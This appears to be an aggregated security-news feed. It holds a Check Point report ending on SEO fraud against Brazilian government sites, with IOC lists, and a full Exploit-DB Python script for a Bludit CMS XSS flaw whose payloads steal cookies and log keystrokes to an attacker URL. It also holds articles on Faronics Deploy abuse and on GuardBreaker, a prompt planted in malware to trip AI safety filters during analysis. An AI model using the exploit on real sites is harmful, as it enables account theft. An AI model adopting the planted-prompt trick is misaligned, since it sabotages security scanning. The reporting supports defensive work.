of operator. It has become one of the world’s fastest-growing online-betting markets, with a vast base of mobile users accustomed to installing apps on the spot, which is exactly the audience a gambling-driven fraud operation wants to reach. For a Chinese-speaking group that has spent a decade monetizing the gambling sector, the money now runs through Brazil, and the infrastructure to exploit it is often trusted but under-secured. A vast base of mobile users conditioned to install apps on sight, and a sprawl of trusted but under-secured web servers, most of them on government  .gov.br  domains whose search reputation is exactly what a large-scale SEO-fraud operation needs. Compromise those servers, graft on a malicious Apache module, and the attacker turns a nation’s legitimate infrastructure into a distribution network for gambling pages and fake app stores. That is the notable part: this is not opportunistic crime but patient, industrialized abuse of reputation, and it is run with espionage-grade Linux tooling in the service of financially motivated fraud, blurring the line between cybercrime and APT. We expect the operation to grow rather than fade. The same infrastructure that inflates search rankings today is one configuration change away from serving malware tomorrow: the phishing pages already impersonate Google Play, the Microsoft Store, and Amazon, putting the operators a single step from pushing malicious apps straight to Brazilian victims. The Vietnamese, Spanish, and English pages we uncovered show the model is being exported, and the daily domain generators show it is built to scale. Countries should expect more of this, aimed higher, not only at customers and banking credentials, but at the government institutions whose domains lend the campaign its trust. None of it depends on novel exploits. It runs on unpatched internet-facing services, weak SSH credentials, and Apache modules that no one thinks to watch. If organizations, and public-sector operators in particular, do not close those gaps – patching exposed services, auditing Apache and SSH configurations, and hunting for rogue modules and masqueraded processes, then this actor and the wider wave of global cybercrime it represents, will keep finding an open door. IOCs Hashes: 232ef6be134c2b7c14648aa193daf7e23e987477b8a40150dd77883947fdf017 088d0742a667f1acfc83edb94671a10b951f6745badec6d5c754ef594dddf815 88544d36beb6dc621c9376806836d0ad109ece64b589605d5674e0c86313d1c0 9d3085eac9a59a94f0473db5ec0173def8777d2f794da281fb1749389ae33cdb 263c14e84398339b25cd3e59da7e108340306fdbb8112bbe7dc0f07a71eb8a31 12af9d95c44e20a375148c25f8a2978a62ee95489134654c3537ccfb2d42120d 5af1bec4635e52da4909bf744ea4b7e4483ec944241218855212f4a9e3d48611 e8bb763bd10e727228ca9a8e3e6cf10bf4de4639b6be680a3abfb181a0adc052 fa7fc029ac13af2f3880151e9c408e9afadeba7b2cff01659806fb7c3c83288d c3c09fe219e10808f053e580628aeb87b1f00fc683c810aa828905fe03cda98f 2567d6b42dac97a391217ad22ee375f504d541940d3fbb9436a3f5e9bb23ab91 1829efbf7946e1a958779a3e7f1e50ca63fe61c6a2ddc177c14a7b0c5e10020a f025520d648c7799ca5bed4a9be5bee14ac33be1f1e9b20c090c8c6319404fcf 5a11ed7931fb6358846e0f3c8d69921f43f8ccade5937fc41e5c262cc49f82e8 0d4a28d5cf7b99f11ffe972abd0284d9e35b6858eeb288532a55633b3e29f9c7 5f6d112637545a2e8c1a9f260c39698852c7a22e83db5ccfc99b99d9f6274710 c4d2efa57eef0c5defc4ca708ebe35832f8b543cf764beebef56fef6d36d4f69 c3c6ab58514cd13638cf049332186ef6d4ec7b256913edb1cd66a19437608882 582ecca146a6aef478706e4b2774d6115a9220a18d1db8f92ee54a5118ecebd9 3a8f464f1f2b5c38173e2a96f95a690af327d85c13c04d37cf0a91893d487bdb 02f5e07dd4c97a3de48cc886f46dad35443f1c221a352630e2c7787806ee21b6 16d35a725819142d2bd5bc0949dc518d344d6f63626a517e67fcba7322eb3844 a71498bfffae8ac694356b3f2436820b396946c9e71c8915e282c1b2fdba4162 d138d5f4fbc77650bc3be1cbf8fbd0ee292aa30eed5feec1ea7ba02e57da932b 44373953431d7570d9585c91377dbe8b6527ccc00662d249f383b003b68b459f 45b9382d7e91a4178b47c908b9b5f6884de7c5a1ef849fbf01d6c23d06d81b88 1eb40363a64e0cad15e340af476d106ccf57ebb6662c1389da1347429ee68c9c fc789397742aee60b01292b071f79b4165981c31aa431eb1577a47c5911381c3 adbee84e9a43949b0a816f052ffb3c0b7855e078b985fea95532158c3b9389bc 0f26e1ba39ddd1f0a7e6f72bd8c4e02a5f0140de72eeda9fe5ab56402821e31e ab7d531d298f0d77bc7bbbdc36f4f8a1732ceca90ff60e3f225a99b9b10f334e ac99754357bd4a69c1de576977e0ee19c7354f29f7f52a9893b7a60f9c2f5248 94aa88ff6222583b2a5b791ddd655837787e31f59483ed91f860857d3399b84a 3ad35ea116b2c0855c13459a04699318b3944762385e8a47144f1d03b48f0bb1 0611c153bf8b8561ef53f2a5ba1413115bdc0e4554e0c22cf9641bd8845db03e 114824bccfafcbb42040f119fdcd3ec48f54eb154ffee6676d06986cba2b0af0 297c53d935c501864e15fe7abcfdafed83df9aafdf241094604ae405529c5eb7 0963c0034a5e0665729d686d50c5375948c4a684c56770adb13d24ff5df8013d 749784fb7846bb3b52dd8c2f660b53d95d5df30387b87b65b584ef9cc781ae52 8495598b1fec814d72caf76f1460b132071bb7305335331fed3bac9876c6e40c 98e17fe36ff77106bbbb9a04f3e00004bf872b88aab22438076966913ea83322 bcd7e5964630c34f06a43e48d696d99d7abae6b679509ad839ffa5179a972838 24f7296ac5ce844678c5f7470eaf64b28e870108ca06851c8f66a27a52003f12 2de964314a8aacc40897140f6fe21d268e24503a69f9821177e31bca7b1e4035 52863d36a216a86b2f90914db2d9229cba7ea317ab5ee9a678cb229087f04611 9d513a419bf129a42017b29eb7d084451a4f34be0828f6871439ec79f7f9b5fb d478f867512e18d839180ceafc980c8fb26c3aa7d1c9e96d054819c81afef6f4 b88a7f3288bdf4b97d75dad4e47e5cb3d4e0962b12674a08e32e5f96e762e877 f4aceaf5c0740093f8040f5e0f29c7582a1bd7ab2bca628d162fb45c29045063 2305ae23ea350e31b05b9f071d315ee60c5a88e96ce11be8ff9db16314a6197c 99b5404df81992cad104dd242bc736d75fd6c58af34dc1a75a8ee3c5e1784fa4 85b5e95cbb5103202abebf8f84b91a286994e61b33ddef53355ab0df2a2b6d9a cff25a9c84c893e32a9a75c1dae385934cf917f709efa11172a53ea2337fa109 154c977a113ff4d94ff2f29f7b93a8d0bd6ad8e67a820c09505117f5d386fd40 67ccc12c0a17dc31388a8c851d076edaaf1213e80398b01d46f5a29b8c7b8b9b e8bc706b0b007d6a122c6b19e87451e550baee793540774db13b9a08803ed76a f32dfbe4a2c11a975d735297bf76f6497ce9f5789ab8eaaef3fdd182c2f1f7b1 c59ebe5cf45935c7b5f91b5936fe2c8a5feb7ca161e40ca4e3fb93e447373fa6 3537bfeaf2c18feafeaf773700a88118fd50979d97f2c42c7e34ba6c9aa62820 2949f0b16b83b35dc8a3dfa11815b9516403e3997e13100e7b86f3bb81f6c283 0e7c96a22e3612c68866a8693cc583df95972d3444978ce163c024a45682133a 7d9f5eb3f704607e6f63681842f48071cc58f2f2e63b16b64a49440cb4b9e6e3 8a64d368ce14c5a1f5e775714bcc02f080d0541360743bb4235e0d640f1787b1 36cf87fe2e29cc8b0fd84fce91d70e62a4c4d2fc5f9650dc37440d629ae61b8f 090e886e5605255ad5708e1f27aecc54319de835abd28853e54182981410707e fa7d8c44a0ecb5ec40832d0d2cfe22c47879317177eae88d178e156f1c8d61a3 d948b486c740b66642a5ae29dc1cb80da703ad40296bcda34a1b27216b63a5cd 612fe3a3ace706725aa5415a1cd1cf18548627b4b40636c5443cb770def30b4c 96488c59287889fcd3b9952ec78b78914fabb901c8b61a7354552439170ed148 Domains: rb[.]aliyuntsl[.]com br[.]team-c2[.]com hwlocal[.]team-hw[.]com br[.]team-hw[.]com data[.]mirrors-inc[.]com team-hw[.]com update[.]team-c2[.]com devops[.]aliyuntsl[.]com bageyi[.]kernel-lib[.]com 8yiu[.]kernel-lib[.]com dnslog[.]kernel-lib[.]com js[.]ai-jquery[.]com api[.]onlinevrgame[.]com file[.]ijjjst23m[.]com kerneltty[.]com 80[.]443[.]team up[.]443[.]team 404[.]443[.]team data[.]windows-update-cdn[.]com microsoft-azure-loadbalance[.]com update[.]aliyun[.]la api[.]gitlab[.]bet github[.]la update[.]opentls2[.]com IPs: 154[.]84[.]62[.]160 154[.]84[.]62[.]128 154[.]84[.]62[.]149 154[.]84[.]62[.]145 15[.]228[.]251[.]82 56[.]124[.]87[.]60 18[.]229[.]255[.]14 18[.]166[.]208[.]57 18[.]228[.]136[.]28 43[.]198[.]248[.]193 43[.]199[.]133[.]195 18[.]166[.]243[.]179 18[.]164[.]116[.]24 13[.]203[.]9[.]172 43[.]198[.]30[.]170 18[.]162[.]210[.]53 56[.]125[.]218[.]234 18[.]228[.]195[.]216 56[.]124[.]49[.]89 54[.]207[.]196[.]189 165[.]22[.]101[.]200 172[.]80[.]8[.]202 104[.]206[.]37[.]134 108[.]187[.]28[.]158 202[.]146[.]222[.]18 192[.]253[.]229[.]23 16[.]162[.]255[.]92 13[.]250[.]18[.]158 18[.]163[.]182[.]231 204[.]16[.]172[.]106 The post Gaming the system: how a Chinese-speaking actor turned Brazilian government sites into an SEO weapon appeared first on Check Point Research .
research.checkpoint.comSep 2, 2026extracted
[webapps] Bludit CMS 3.20.0 - Reflected Cross-Site Scripting
Exploit Title: Bludit CMS 3.20.0 - Reflected Cross-Site Scripting Date: 2026-08-11 Exploit Author: [Ranjit Kumar Singh] Vendor Homepage: https://www.bludit.com/ Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip Version: 3.0.0 through 3.20.0 (all versions before commit 6732dde) Tested on: Ubuntu 20.04 / Apache 2.4 / PHP 7.4 / Windows 10 / PowerShell CVE: CVE-2026-41456 """ CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin Exploit Author: [Ranjit Kumar Singh] Vendor: https://www.bludit.com/ Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip Vulnerable Versions: Bludit CMS 3.0.0 through 3.20.0 (before commit 6732dde) Tested on: Ubuntu / Windows / PHP 7.4 Description: The search plugin reflects the search term inside an HTML attribute (value="..."). To exploit, you must break out of the attribute using "> and then inject a tag. This script builds a correctly URL-encoded /search/ endpoint URL. Usage (Windows / Linux): # Use built-in payload types (recommended) python CVE-2026-41456.py -u http://target -t alert python CVE-2026-41456.py -u http://target -t steal -a http://attacker/log python CVE-2026-41456.py -u http://target -t keylog -a http://attacker/log # Use -j to provide only JavaScript code (script will add breakout and .gif) python CVE-2026-41456.py -u http://target -j "alert('XSS')" # Linux python CVE-2026-41456.py -u http://target -j 'alert("XSS")' # Windows (PowerShell) # For full control, use -p (must include "> breakout and .gif suffix) python CVE-2026-41456.py -u http://target -p "\"> .gif" """ import argparse import urllib.parse import sys import webbrowser def build_payload(base_url, payload): """Build the full XSS URL with the payload placed in the /search/ path.""" if not base_url.endswith('/'): base_url += '/' encoded_payload = urllib.parse.quote(payload, safe='') full_url = f"{base_url}search/{encoded_payload}" return full_url def generate_alert_payload(): return '"> .gif' def generate_steal_cookie_payload(attacker_url): return f'"> document.location="{attacker_url}?c="+encodeURIComponent(document.cookie) .gif' def generate_keylogger_payload(attacker_url): payload = f""" "> var keys = ''; document.onkeypress = function(e) {{ keys += e.key; if (keys.length > 50) {{ new Image().src = '{attacker_url}?k=' + encodeURIComponent(keys); keys = ''; }} }}; .gif """ return ''.join(payload.split()) def interactive_payload_builder(): print("[*] Interactive Payload Builder") print("1. Simple Alert (Proof of Concept)") print("2. Steal Cookies (requires attacker URL)") print("3. Keylogger (requires attacker URL)") print("4. Custom JavaScript (you write the code)") choice = input("Select payload type [1-4]: ").strip() if choice == "1": return generate_alert_payload() elif choice == "2": attacker_url = input("Enter attacker URL to receive cookies (e.g., http://attacker/log): ").strip() if not attacker_url: print("[-] Attacker URL required.") return None return generate_steal_cookie_payload(attacker_url) elif choice == "3": attacker_url = input("Enter attacker URL to receive keystrokes: ").strip() if not attacker_url: print("[-] Attacker URL required.") return None return generate_keylogger_payload(attacker_url) elif choice == "4": custom = input("Enter your JavaScript code (e.g., alert('XSS')): ").strip() if not custom: print("[-] Payload cannot be empty.") return None return f'"> {custom} .gif' else: print("[-] Invalid choice.") return None def main(): parser = argparse.ArgumentParser( description="CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin" ) parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://target) – script will append /search/") group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-p", "--payload", help="Custom full payload (must include breakout syntax, e.g., \"> .gif)") group.add_argument("-j", "--js", help="Raw JavaScript code (script will add '> ... .gif')") group.add_argument("-t", "--type", choices=["alert", "steal", "keylog"], help="Predefined payload type") group.add_argument("--interactive", action="store_true", help="Interactive payload builder") parser.add_argument("-a", "--attacker", help="Attacker URL for steal/keylog payloads (required with -t steal or keylog)") parser.add_argument("--open", action="store_true", help="Open the crafted URL in the default browser") args = parser.parse_args() base_url = args.url.rstrip('/') payload = None if args.payload: payload = args.payload elif args.js: payload = f'"> {args.js} .gif' elif args.type: if args.type == "alert": payload = generate_alert_payload() elif args.type == "steal": if not args.attacker: print("[-] --attacker URL required for steal payload") sys.exit(1) payload = generate_steal_cookie_payload(args.attacker) elif args.type == "keylog": if not args.attacker: print("[-] --attacker URL required for keylog payload") sys.exit(1) payload = generate_keylogger_payload(args.attacker) elif args.interactive: payload = interactive_payload_builder() if payload is None: sys.exit(1) else: parser.print_help() sys.exit(1) # Debug: show raw payload before encoding print(f"[*] Raw payload: {payload}") exploit_url = build_payload(base_url, payload) print(f"[+] Exploit URL generated:") print(f"{exploit_url}") print("\n[+] Instructions:") print(" - Send this URL to a victim (or use --open to test locally).") print(" - The JavaScript will execute in the victim's browser.") if args.open: print("[*] Opening URL in default browser...") webbrowser.open(exploit_url) print("\n[+] URL for copy-paste:") print(exploit_url) if name == "main": main()
exploit-db.comSep 2, 2026extracted
Hackers abuse Faronics Deploy admin tool to install ScreenConnect
Phishing actors are abusing the legitimate Faronics Deploy endpoint-management platform to gain remote administrative control over victim computers and install the ScreenConnect remote support software. In activity observed between July 21 and August 20, Faronics-themed lures reached more than 457 endpoints via emails disguised as invoices, tax documents, or other business files. Faronics Deploy is a cloud-based endpoint management platform that allows IT administrators to remotely enroll and manage computers, deploy software, and execute scripts. Researchers at managed detection and response company (MDR) Huntress say that the embedded malicious links lead to a website that profiles potential targets and guides them through a malicious download flow. If the website is reached from an analysis environment, a decoy routine is activated, such as displaying an error message. Huntress explains that a potential victim is prompted to download and launch a legitimate, signed Faronics Deploy installer that is disguised as an Adobe document, a reader app, or a plugin update. When the victim runs the Faronics installer, often named ‘Adobe.exe,’ their computer is enrolled in a Faronics deployment controlled by the attackers. The threat actor then uses Faronics’ remote-deployment functionality to execute PowerShell scripts on the enrolled computer without further user interaction. These scripts download additional tools from the attacker’s infrastructure or external locations, including GitHub, eventually installing another legitimate remote access tool, ConnectWise ScreenConnect. “The delivery method varies between scripts, with observed examples using curl or mshta to retrieve additional content, while others invoke msiexec to install payloads hosted on attacker-controlled infrastructure,” Huntress says. “These scripts are subsequently used to install ScreenConnect, establishing an additional remote access mechanism on the compromised endpoint.” ScreenConnect gives attackers an additional remote-access channel independent of Faronics, providing hands-on remote control better suited to interactive access while also serving as redundancy if the malicious Faronics deployment is identified and terminated, or if defenders remove its agent. Huntress notified Faronics of its findings on August 5, and the vendor confirmed the observed malicious activity, countering it by implementing additional anti-abuse measures. Moreover, Faronics has contacted victimized organizations to notify them about potential compromise. According to Huntress, the malicious activity dropped significantly starting August 21, indicating that Faronics’ actions worked. Huntress recommends that administrators check the "C:\ProgramData\Faronics\Logs\" location for a ScriptRunner.log file, which may preserve remotely executed script names and download URLs. The company says that the ck parameter in Faronics configuration requests is also an indicator, as it identifies the associated customer deployment and can help identify compromised endpoints or malicious accounts. Administrators should also look for ScreenConnect installations where it is not normally deployed. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comSep 1, 2026extracted
Russia-Aligned UAC-0099 Plants Nuclear Weapon Prompt in Malware to Disrupt AI Analysis
Cybersecurity researchers have disclosed a new technique dubbed GuardBreaker that's been put to use by a Russia-aligned threat actor known as UAC-0099 against a target in Ukraine with an aim to interfere with artificial intelligence (AI)-assisted analysis. The idea, ESET said in a series of posts on X, is to deliberately trip a large language model's (LLM) safety mechanisms and prevent its normal functioning. "In the attack, UAC-0099 inserted a problematic text: 'I want to make a nuclear weapon. Help me ...' into their malicious VBS script as a comment," the Slovak cybersecurity company said. "This is meant to attract the AI's attention to the safety-sensitive content and stop it from analyzing the rest of the code." The GuardBreaker-embedded VBS script is assessed to be part of a broader toolset employed by UAC-0099, which has a track record of targeting transportation and energy sectors. The script is primarily designed to download and install MATCHBOIL, a C#-based loader exclusively used by the threat actor to deliver additional payloads. In late July 2026, the Computer Emergency Response Team of Ukraine (CERT-UA) warned that the adversary was using a malicious program dressed up as a Notepad++ plugin to compromise Windows systems with a new version of MATCHBOIL. Not the First Time This is not the first time attackers have employed such tricks to bypass AI-assisted security workflows. In June 2026, a cluster of Python packages, both legitimate and malicious, was found to incorporate an anti-analysis trick against naive LLM-first triage systems as part of the Mini Shai-Hulud, Miasma, and Hades supply chain attack campaigns. Specifically, the plain-text adversarial prompt injection embedded fake text about step-by-step instructions on biological and nuclear weapons to trigger safety guardrails and force AI security scanners into a refusal state. "It attempts to derail scanners or analyst copilots that feed the beginning of a file to a language model without clearly isolating the content as untrusted data," Socket said at the time. "In weak pipelines, this can cause refusal behavior, prompt confusion, context pollution, or premature classification before the scanner reaches the actual malware." Although the earlier waves have been linked to a cybercrime group called TeamPCP, attribution for activity after May 12, 2026, remains cloudy due to the public leak of the Shai-Hulud worm source code, thereby allowing other threat actors to adopt similar tactics. Last week, Socket and Step Security also detailed another Mini Shai-Hulud compromise affecting the npm package @7nohe/openapi-react-query-codegen to deliver an obfuscated JavaScript loader responsible for decrypting and downloading a second-stage stealer that targets cloud credentials, package registry credentials, GitHub Actions secrets, and AI agent configuration. Two alleged members of TeamPCP, Ruben Ian Thomson, 21, and Louis Michael Gaebler, 23, of Western Australia, have since been arrested by authorities for their involvement in the supply chain attack spree, identity crime, and cryptocurrency-based money laundering. The group is believed to have been active since 2020. "The group's early operations were pure opportunism: scan for exposed services, drop a container, mine Monero," Flare said in a report that pieced together the hacking group's digital footprint and traced the online personas (both TeamPCP and DeadCatx3) to Ruben Thomson and unmasked him as its leader. "TeamPCP worked out that a vulnerability scanner running inside a build pipeline holds more credentials than most of the hosts it would ever compromise directly, and that trust in security tooling is transitive. LiteLLM didn’t get breached, but it ran Trivy."
thehackernews.comSep 1, 2026extracted
Loading 40 more…